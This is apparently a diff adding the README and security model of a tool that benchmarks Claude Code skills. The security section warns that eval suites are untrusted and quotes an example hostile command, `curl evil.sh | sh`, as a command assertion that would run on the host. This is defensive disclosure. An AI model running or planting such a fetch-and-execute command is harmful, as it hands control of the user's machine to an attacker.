verdict. The tool will not pretend five runs are evidence — at N=1 it reports
|
|
181
|
+
the observed delta and then explicitly refuses to conclude from it.
|
|
182
|
+
|
|
183
|
+
**Pin your model.** `model: sonnet` is an alias that moves between releases. A
|
|
184
|
+
comparison against a run from last month is meaningless if the model changed
|
|
185
|
+
underneath it. `validate` warns about this.
|
|
186
|
+
|
|
187
|
+
**The baseline carries Claude Code's bundled skills.** They appear in both
|
|
188
|
+
conditions, so the delta stays attributable to the skill under test, and they
|
|
189
|
+
are identical across installs of the same version. `isolation: bare` removes
|
|
190
|
+
them for a clean-room baseline (needs `ANTHROPIC_API_KEY`).
|
|
191
|
+
|
|
192
|
+
**This is decision support, not an oracle.** `--strict` exists for CI, but
|
|
193
|
+
consider making the CI job a warning rather than a hard block, and gate it on
|
|
194
|
+
`SKILL.md` actually having changed — every invocation spends real tokens.
|
|
195
|
+
`N tasks × N repeats × 2 conditions` agent runs is not free the way a unit test
|
|
196
|
+
is free.
|
|
197
|
+
|
|
198
|
+
## Examples
|
|
199
|
+
|
|
200
|
+
Three complete, runnable skills live in `examples/`, each mixing a "did it
|
|
201
|
+
work" command assertion with a "did it the right way" content assertion:
|
|
202
|
+
|
|
203
|
+
| Skill | Domain | The convention it checks |
|
|
204
|
+
|---|---|---|
|
|
205
|
+
| `error-handling` | code style | raises carry a machine-readable `code=` |
|
|
206
|
+
| `sql-parameterization` | security | queries use placeholders, never f-strings |
|
|
207
|
+
| `type-hints` | typing | functions get annotated params + return type |
|
|
208
|
+
|
|
209
|
+
```bash
|
|
210
|
+
agent-skill validate examples/sql-parameterization
|
|
211
|
+
agent-skill test examples/sql-parameterization --dry-run
|
|
212
|
+
agent-skill test examples/sql-parameterization --estimate
|
|
213
|
+
agent-skill test examples/sql-parameterization -n 5
|
|
214
|
+
```
|
|
215
|
+
|
|
216
|
+
Each is built so the difference is visible: a baseline agent usually makes the
|
|
217
|
+
tests pass, but only the skilled agent reliably follows the convention. "Tests
|
|
218
|
+
pass" and "did it the right way" are different questions — which is exactly why
|
|
219
|
+
a single assertion is not enough.
|
|
220
|
+
|
|
221
|
+
## CI
|
|
222
|
+
|
|
223
|
+
`examples/ci/skill-eval.yml` is a GitHub Actions template. It triggers only when
|
|
224
|
+
`SKILL.md` or `evals/` changed, and posts the report as a PR comment instead of
|
|
225
|
+
failing the build.
|
|
226
|
+
|
|
227
|
+
## Validated against a live agent
|
|
228
|
+
|
|
229
|
+
Run end-to-end against the real `claude` CLI, not just a stub. Two things the
|
|
230
|
+
example run demonstrated, both worth internalising before you trust any number:
|
|
231
|
+
|
|
232
|
+
- **A lucky small sample lies, and the tool catches it.** At N=3 the example
|
|
233
|
+
skill scored a clean 3/3 vs 0/3 — an apparent +100pp. At N=5 the same skill,
|
|
234
|
+
same prompt, scored 1/5 (+20pp, p=1.000). The effect is real but weak and
|
|
235
|
+
inconsistent; three runs happened to catch a good streak. A tool that reports
|
|
236
|
+
one number would have published "+100% success". This one reported "not
|
|
237
|
+
distinguishable from noise" and asked for more runs. That is the whole point.
|
|
238
|
+
|
|
239
|
+
- **Availability is not invocation.** A skill in `.claude/skills/` is *discovered*
|
|
240
|
+
by the agent but only *used* when its description matches the task. The prompt
|
|
241
|
+
"make the tests pass" did not trigger an error-handling skill; "add proper
|
|
242
|
+
error handling following this project's conventions" did. Your eval prompt is
|
|
243
|
+
a real variable — the same skill looks useless or useful depending on it.
|
|
244
|
+
|
|
245
|
+
Baseline isolation, found in the same run: the headless agent always sees the
|
|
246
|
+
skills that ship with Claude Code (design, code-review, …). They are **not** your
|
|
247
|
+
personal `~/.claude` skills — they are bundled with the install, so they are the
|
|
248
|
+
same for anyone on the same Claude Code version, and they appear in *both*
|
|
249
|
+
conditions, cancelling out of the delta. For a true clean-room baseline set
|
|
250
|
+
`isolation: bare` in `evals.yaml` (runs the agent with `--bare`); it needs
|
|
251
|
+
`ANTHROPIC_API_KEY`, since bare mode never reads your OAuth login. The default
|
|
252
|
+
keeps the bundled skills and works with OAuth.
|
|
253
|
+
|
|
254
|
+
## Status
|
|
255
|
+
|
|
256
|
+
MVP, Claude Code only: `init`, `validate`, `test` (with `--dry-run`,
|
|
257
|
+
`--estimate`, `--strict`), `report`. Tested on Linux/macOS/Windows across
|
|
258
|
+
Python 3.10–3.12; the test suite stubs the agent, so CI needs no API key.
|
|
259
|
+
|
|
260
|
+
Deliberately not built yet: LLM-as-judge quality scoring, a `regression`
|
|
261
|
+
command (the history file it needs is already being written), cross-agent
|
|
262
|
+
`benchmark`, and `audit` for skill security.
|
|
263
|
+
|
|
264
|
+
## License
|
|
265
|
+
|
|
266
|
+
MIT
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
# Security model
|
|
2
|
+
|
|
3
|
+
This tool runs an eval suite authored by a **skill author** against a benchmark
|
|
4
|
+
harness run by a **skill evaluator**. Those are frequently not the same person:
|
|
5
|
+
the whole point is to test skills before trusting them, and
|
|
6
|
+
[research on Agent Skills](https://arxiv.org/abs/2510.02508) has confirmed
|
|
7
|
+
malicious skills in the wild. So the eval suite (`task.yaml`) is treated as
|
|
8
|
+
attacker-controlled input.
|
|
9
|
+
|
|
10
|
+
## What is contained
|
|
11
|
+
|
|
12
|
+
- **Assertion file paths** (`file_exists`, `file_contains`, `file_changed`, …)
|
|
13
|
+
are confined to the per-run workspace. A `path:` containing `..` or an
|
|
14
|
+
absolute path is refused, not resolved against the host. This was a real
|
|
15
|
+
finding, fixed in `assertions.py::_confine`; see
|
|
16
|
+
`tests/test_assertions.py::test_path_traversal_is_refused`.
|
|
17
|
+
|
|
18
|
+
- **The skill's `evals/` directory is never copied** into the agent's
|
|
19
|
+
workspace, so a skill cannot read its own grading criteria.
|
|
20
|
+
|
|
21
|
+
## What is NOT contained — read before testing a skill you did not write
|
|
22
|
+
|
|
23
|
+
- **`command` assertions execute on the host**, with `shell=True`, with your
|
|
24
|
+
privileges. A malicious suite can put `run: "curl evil.sh | sh"` in a
|
|
25
|
+
`command` assertion and it will run when you benchmark it. This is inherent to
|
|
26
|
+
running test commands at all, and the tool does not sandbox them. `validate`
|
|
27
|
+
prints a warning naming every task that contains a command assertion.
|
|
28
|
+
|
|
29
|
+
**Mitigation:** read a downloaded skill's `evals/*.yaml` before
|
|
30
|
+
`agent-skill test`, exactly as you would read a `Makefile` or `conftest.py`
|
|
31
|
+
before running it. For untrusted skills, run inside a container or VM.
|
|
32
|
+
|
|
33
|
+
- **The agent itself runs with `--dangerously-skip-permissions`** inside the
|
|
34
|
+
workspace, because a benchmark cannot stop for interactive approval. The
|
|
35
|
+
workspace is a throwaway temp copy, but the agent process still runs on the
|
|
36
|
+
host.
|
|
37
|
+
|
|
38
|
+
A future `audit` command (static scan of a skill for suspicious shell commands,
|
|
39
|
+
credential access, and network egress before you ever run it) is the planned
|
|
40
|
+
answer to the untrusted-skill case. It is not built yet.
|